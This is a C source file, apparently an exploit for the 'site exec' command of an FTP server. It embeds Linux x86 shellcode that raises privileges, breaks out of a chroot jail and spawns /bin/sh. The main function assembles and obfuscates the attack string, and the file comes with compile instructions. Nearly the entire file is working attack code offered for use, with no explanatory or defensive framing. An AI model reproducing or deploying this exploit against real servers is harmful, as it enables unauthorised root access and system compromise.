#include <stdio.h>
#include <stdlib.h>

/* compile this with: gcc -o hpftp hpftp.c */

char fshell[] = /* da shell code */
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e"
"\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c"
"\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a"
"\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
"\x79\x7a\x38\x31\x32\x33\x34\x35\x36\x37\x38\x39\x41\x41"
"\x42\x42\x43\x43\x44\x44\x45\x45\x46\x46\x47\x47\x48\x48"
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb"
"\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31"
"\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x0a\xb0\x27"
"\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31"
"\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d"
"\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46"
"\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8"
"\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0"
"\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff"
"\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31";


int main (int argc, char **argv)
{
        int i;
        int pof = 12;
        int hof = 2;
        int gof = 530;
        char poof[300];
        /* generate codes */
        i = sprintf(poof, "site exec %s%c%c%c%c|\r\n", fshell, 0xb6, 0x78, 0xff, 0xb3);
        i = ((i + pof) * hof);
        /* messy but works */
        poof[(i-gof)]=fshell[(i-gof)];
        poof[(i-gof)+fshell[55]+fshell[196]]=fshell[(i-(gof-0x0D))];
        poof[(i-gof)+fshell[168]/3]= fshell[(i-(gof-0x08))];
        poof[(i-gof)+fshell[184]]=fshell[(i-(gof-0x0E))];
        poof[(i-gof)+fshell[65]-fshell[60]]=fshell[(i-(gof-13))];
        poof[(i-gof)+fshell[114]-0x58]=fshell[(i-(gof-0x0b))];
        poof[(i-gof)+poof[(i-gof)+fshell[184]]]=fshell[(i-(gof-0x13))];
        poof[(i-gof)+fshell[189]]=fshell[(i-(gof-0x08))];
        poof[(i-gof)+(fshell[182]-fshell[175])]=fshell[(i-(gof-0x0D))];
        poof[(i-gof)+fshell[168]]=fshell[(i-(gof-0x04))];
        poof[(i-gof)+fshell[17]-fshell[83]]=fshell[(i-(gof-0x1E))];
        poof[(i-gof)+fshell[123]+fshell[132]]=fshell[(i-(gof-0x12))];
        poof[(i-gof)+fshell[195]]=fshell[(i-(gof-20))];
        poof[(i-gof)+fshell[18]-fshell[183]]=fshell[(i-(gof-0x02))];
        poof[(i-gof)+fshell[177]]=fshell[(i-(gof-0x0A))];
        poof[(i-gof)+fshell[192]+fshell[189]]=fshell[(i-(gof-18))];
        poof[(i-gof)+fshell[21]-fshell[167]]=(i-gof);
        fprintf(stdout, "%s\n", poof);
        return 0;
}